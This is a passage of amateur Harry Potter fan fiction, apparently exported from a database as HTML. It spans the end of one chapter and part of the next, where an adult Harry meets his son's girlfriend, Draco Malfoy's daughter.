she&#8217;s\ngonna enter the contest too.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Yea she is&#8230;\nKristin was telling me about it&#8230; she said that Alexia is really good. Singin&#8217;\nsome song called Skater boi&#8221; Bret said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Bret was the lead\nguitar for their band, he had chestnut hair and gray eyes, and he was the\nsecond cutest guy in their ear.&nbsp; He was a beater for the Gryffindor house\nteam and played football at home&#8230; He was on Chris&#8217;s football team, and he liked\nto do moto-cross.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Brandon was about\nto say something when Dumbledore stood and asked for silence.&nbsp; Everyone\nsat down at their house table and looked at the headmaster.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Once again,\nanother fine year has gone by, First I would like to congratulate Gryffindor on\nthere winning the Quidditch cup for a consecutive 15th year in a row&#8230; making a\nnew record for winning the cup.&nbsp; Now with nothing more to say I would like\nto announce the house cup winner.&nbsp; In fourth place Ravenclaw with 210\nhouse points, in third Slytherin with 289 house points, in Second place\nHuffelpuff with 443 house points, and in first place Gryffindor with 587 house\npoints.&#8221; Everyone howled with yells and clapping as seeing the Gryffindor&#8217;s\nwinning the house cup instead of Slytherin.&nbsp;&nbsp; Last year Slytherin won\nthe house cup with 439 house points leaving Gryffindor in second with 438 house\npoints.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Dumbledore waited\nfor the clapping and cheering to die down before he continued with his speech,\n&#8220;Well done Gryffindor, well done.&nbsp; Know to get one with my business, I\nwould like to saw farewell to our 7th year&#8217;s you served us well in you time\nhere and we hope that you succeed out in the real world (Claps for the seventh\nyears lasted a while with people yelling out names and causing a bit of\nlaughter), now may our feast begin!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">The whole hall\nfilled with assortments of food and drinks and everyone started to chat and\njoke with each other.&nbsp; Everything was going great the teachers were\ntalking with each other and the students were talking about there summer plans\nwhen seventh year Ravenclaw Eddie Rafter yelled &#8220;FOOD FIGHT!&#8221; next thing you\nknew the whole hall was throwing food at each other.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Hermione looked\nat the scene and a flash came to her when in her seventh year when Harry was\nthe one who called the food fight and dropped a huge bowl of scrambled eggs in\nher head.&nbsp; Lavender nudged her in the side and Hermione came back to the\nreal world and looked at her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;What is it Lav?&#8221;\nHermione asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Lavender didn&#8217;t\nsay anything, she just picked up a bowl of eggs and dumped it on Hermione&#8217;s\nhead and started laughing heartily.&nbsp; Half the kids in the hall broke out\ninto laughter as they saw the teacher covered in eggs.&nbsp; Soon after\nHermione laughed with the rest of them but was able to grab a jug of milk and\ndump the whole thing on Lavenders head causing another round of laughter from\nthe students. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nAt the end of the feast everyone said their good-byes and got on the\ntrain.&nbsp; Chris and Kat wrote to Kat&#8217;s father and told him that she wouldn&#8217;t\nbe comeing home.&nbsp; When they sent it off they went to the entrance in the\nGreat hall and got ready to go back home for the summer.&nbsp; Hermione guided\nthem to Hogsemed and took them to the Three Broomsticks, she waited for all of\nthem to get a chance at the floo and then she went herself.&nbsp; When they got\nback to Harry and Hermione&#8217;s house Chris showed Kat to her room, she would be\nsharing with Mandy since there weren&#8217;t enough rooms for everyone, and Brandon\nshowed Bret, Nick, and Boomer where they would be staying.&nbsp; Ste just went\nup to Chris&#8217;s room and put down his stuff next to the bunk bed and went back\ndown stairs.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">As soon as\nBrandon and his friends put there stuff in there room&#8217;s they grabbed there\nskate boards and went to go hand out at the local music store to look at some\nof the equipment that they wanted to win.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">There was a\ncontest for amateur groups or singers, and the winner would win a whole new set\nof band equipment and a free recording at a studio down town and get a bunch of\nCD&#8217;s made for people to buy.&nbsp; Brandon and his friends were going to attend\nit. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris, Ste, and Kat decided to go see a movie that was comeing out today at the\ncinema; the name of the movie it Halloween Resurrection.&nbsp; Chris asked for\nthe keys to his mom&#8217;s Ford Focus, and she gave them to him.&nbsp; After they\nwent out Hermione went up to the bedroom and went into the bathroom and took a\nlong bath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">~&#8217;*&#8217;~</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nBy the time noon came Harry couldn&#8217;t wait to get out to lunch.&nbsp; Mary\nwouldn&#8217;t stop hounding while he was trying to do his work.&nbsp; As soon as his\nwatch beeped he closed up his office and told Alicia that he was leaving for\nlunch.&nbsp; Harry walked out of the doctor&#8217;s office to his car and decided to\ngo home for lunch.&nbsp; He got home to see that Hermione&#8217;s car was gone but\nthe door was open.&nbsp; He figured that either Hermione was home or the kids\nwhere home.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">He walked in the\ndoor and yelled, &#8220;Mione? Kids?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;In here, hun!&#8221;\nHermione yelled.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Harry walked into\nthe den to see Hermione working on the computer, &#8220;Hey, you guys are home\nalready, where&#8217;s the kids?&#8221; He asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Brandon and his\nfriends went to the music store and Chris, Ste, and Kat went out for the day.&#8221;\nShe said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Kat?&#8221; Harry\nasked, &#8220;You mean Chris&#8217;s girlfriend Kat.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Yes, Chris asked\nme if Kat could stay for the summer so she wouldn&#8217;t have to go and stay with\nher father, and I said yes.&#8221; Hermione explained.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;OH, ok well at\nleast I&#8217;ll be able to meet her.&#8221; Harry sat on the couch and took off his shoes,\n&#8220;I guess this going to be a full house for the summer huh?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Hermione smiled,\n&#8220;Yes it is&#8230; But think of it as a way, now we have three sitters instead of\none.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;I knew I married\nthe smart one.&#8221; Harry laughed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;And you made the\nright choice.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Oh god, getting on\nthe subject of marry,&#8221; Harry said</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Hermione rolled\nher eyes and kept typing, &#8220;Not again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Yup, she came\ninto the my office today, telling me &#8216;give me just one night and you&#8217;ll never\nwant to go back home.&#8217;&#8221; Harry said in his best impression of a female. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Hermione looked\nat him seriously, &#8220;Harry, you wouldn&#8217;t really do that would you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Harry looked at\nher, he got up from his spot walked over to her, &#8220;Get up,&#8221; He said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Hermione got up\nand Harry cupped her face with his hands and kissed her softly getting more\npassionate.&nbsp; When they broke apart he looked her in the eye, &#8220;If that\ndoesn&#8217;t tell you how I feel, then you don&#8217;t deserve me.&#8221; Hermione dropped from\nhis gaze, &#8220;Hermione&#8230;&#8221; He said lifting her face with his fingers, &#8220;I could never\nlove anyone but you.&#8221;&nbsp; Hermione lent in and kissed him with tears running\ndown her face, Harry pulled her into a hug. They just sat there like that for a\nwhile when they heard the door open.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Mom&#8221; Chris\nyelled down the hall.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;I&#8217;m in the den\nChris.&#8221; She yelled back wiping the tears away.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Chris walked into\nhe den with Ste and Kat.&nbsp; Harry looked at them, &#8220;Hey Ste, how&#8217;s things?&#8221;\nHarry asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Great, you?&#8221; Ste\nasked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;I&#8217;ve been\npracticing my basketball&#8230; you know the tournament at work.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Nice to see you\nto dad.&#8221; Chris said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\nmargin-left:.5in">Harry looked at\nhim, &#8220;Erm, do I know you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Daddd&#8221; He wined.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Ahh im just\nplaying with ya! Come here pal.&#8221; Chris walked over to his father and gave him a\nhug, &#8220;How was school this year? You mother tells me that you might get the Head\nBoy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Yea, I&#8217;m up in\nthat circle.&#8221; He said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Harry nodded and\nthen looked at the girl next to Ste, &#8220;And who is this?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Dad I would like\nyou to meet Kat, Kat Malfoy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/n: Wow! Where did that one come from? I\nsure don&#8217;t know&#8230; well hope you like the next chapter will be up within the week\nif ff.net lets me put it up and is working properly.&nbsp; Please r/r!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(277, 2, '\n\n\n\n<p class="MsoNormal">A/n: Hey all! Chapter two is up! I hope\nyou liked chapter 1 and that you will continue to read and review my\nwork.&nbsp; I don&#8217;t want to keep on running my mouth so here&#8217;s chapter 2 to\nLater Years&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer: I don&#8217;t own Hp or it&#8217;s\ncharacter&#8217;s I only own the ones I make up! So I don&#8217;t need a federal case made\nout of this story so BACK OFF!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Later Years </p>\n\n<p class="MsoNormal"><u>&nbsp;</u></p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Chapter 2</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Something\nto Remember</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">~*~</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Dad I would like\nyou to meet Kat, Kat Malfoy.&#8221;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">~***~</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Wha- Wha- uh-\nwha&#8221; Harry stumbled over his words.&nbsp; He couldn&#8217;t believe it.&nbsp; His\nson&#8217;s girlfriend is his enemy&#8217;s daughter.</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Dad? You ok?&#8221;\nChris asked shaking his dad.</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Hermione&#8230; could\nI&#8230;&#8221; Harry didn&#8217;t finish his sentence he just pointed his hands to the\nkitchen.&nbsp; Hermione looked at him but followed him into the kitchen.&nbsp;\nWhen they got in their Harry spun around and looked at his wife, &#8220;Kat Malfoy!&#8221;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Hermione looked\nat him, &#8220;Harry, she-&#8220; Harry cut her off.</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;She&#8217;s Draco\nMalfoy&#8217;s daughter!&#8221; Harry was outraged; &#8220;You brought her here! He&#8217;ll come and\nblow the house up!&#8221;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Harry listen to\nme,&#8221; Hermione took Harry and sat him down on in a chair a looked at him,\n&#8220;Harry, I didn&#8217;t think you would judge her by her name&#8230; Yes, she&#8217;s Malfoy&#8217;s\ndaughter.&#8221; Harry was going to say something but nothing would come out.&nbsp;\nHermione continued, &#8220;But, she was a Gryffindor, Malfoy is a mess since\nyou-know-who was killed, his father in Azkaban.&nbsp; He&#8217;s useless and he takes\nout his pain on his daughter.&nbsp; She, who you wouldn&#8217;t believe is nice,\nsmart, and the best person in the world.&nbsp; That is why your son brought her\nhome that&#8217;s why he was so upset last year&#8230; Malfoy beats this girl for the\nsimple fact that she&#8217;s not evil or isn&#8217;t a Slytherin.&#8221;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Harry looked at\nHermione, &#8220;What do we do if Malfoy comes to the door demanding his daughter\nback?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Hermione smiled,\nshe walked over to him and sat on his lap.&nbsp; She wrapped her arms around\nhis neck and kissed him.&nbsp; He kissed her back and put a hand on her thigh\nand rubbed it back and forth.&nbsp; Hermione let out a small moan, which caused\nHarry to do it more, &#8220;You like?&#8221; He said.</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;More than you\nknow.&#8221; Hermione smiled and kissed him again.</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Harry looked at\nher and helped her off his lap and he stood, &#8220;Ok, ok she looks like a sweet\ngirl and I&#8217;m not going to judge her by he name.&nbsp; And if Malfoy comes here\nI&#8217;ll confront him and tell him his daughter isn&#8217;t going anywhere near that him\nuntil he goes threw me.&#8221; </p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;Hermione\nsmiled and kissed his neck, &#8220;thank you, you have no idea how happy you just\nmade your son.&#8221;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Yea, well it\nwould make me happy if I could get some lunch.&#8221; Harry got up ad walked over to\nthe refrigerator and opened it, &#8220;Do we still have anything from dinner last\nnight?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;No, but if you\nwant I could make you something.&#8221; Hermione said, &#8220;My mother sent me a recipe\nfor this Chicken.&#8221;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Well if you want\nI can help you tonight and we can have it for dinner.&#8221; </p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;I think that\nwould be great&#8230; What time will you be home tonight?&#8221; </p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;I&#8217;ll be home\naround 3:30 4:00, I need to pick up James at school and pick up Mandy from\nLavender. I&#8217;ll drop him off and I&#8217;m going to run to the gym for a half\nhour.&nbsp; I think I&#8217;ll just have a sandwich with some fruit.&#8221; </p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Hermione walked\nover to the cabinet and took out the bread and condiments, &#8220;Ok that could work&#8230;\nI was thinking since the kids are home and they have all this friends with\nthem, we could eat out back and the kids can swim in the pool.&nbsp; Do you\nwant ham or turkey?&#8221;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Ham.&nbsp;\nExactly how many kids are we keeping in the house over the summer?&#8221; </p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Well let&#8217;s see\nthere&#8217;s James, Mandy, Chris, Ste, Kat, Brandon, Nick, and Brett and\nBoomer.&nbsp; Mustered?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Yea.&nbsp; Ok well I think we can do this&#8230; Nine kids isn&#8217;t much&#8230; Look at Ron&#8217;s\nfamily.&#8221; They both laughed</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;How true you are.&#8221; Hermione said</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ok, well I&#8217;m gonna go in the other room and get to know this girl and I&#8217;ll be\nback in a few minuets, do you need any help in here?&#8221;&nbsp; Harry walked over\nto her and kissed her on the cheek.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;No, Take your time, I&#8217;ll bring this in to you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ok.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry walked back into the den and saw that Chris, Kat and Ste were watching a\nmovie on the TV he walked over to them and sat down on a chair next to the\nfireplace.&nbsp; Chris looked at his dad, &#8220;What were you and mom talking\nabout?&#8221; He asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry glanced quickly at Kat who knew that it was her they were talking\nabout.&nbsp; She lifted her head and looked at Harry, &#8220;Mr. Potter,&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Harry&#8217;s fine Kat.&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ok, Harry, I know what you&#8217;re thinking about me right now, I know that you and\nmy father don&#8217;t like each other at all.&#8221; Kat started.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Kat I&#8217;m not here to judge you by your name&#8230; Yes I did freak out in there when\nI found out your father was Draco Malfoy, but Hermione has told me that your as\nmuch like your father as Dumbledore is to Lord Voldmorte.&#8221; Ste winced at them\nname.&nbsp; Apparently Ron still doesn&#8217;t use it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nKat gave Harry a soft smile, &#8220;Thank you sir.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Anytime.&nbsp; Well I hope you kids are going to be here for dinner\ntonight.&nbsp; Hermione and I are making a new type of chicken, so we&#8217;ll be\neating outside in the back so you guys could go in the pool.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Yea, with Brandon and Nick, I don&#8217;t think were gonna want to go in.&#8221; Ste\nsaid.&nbsp; 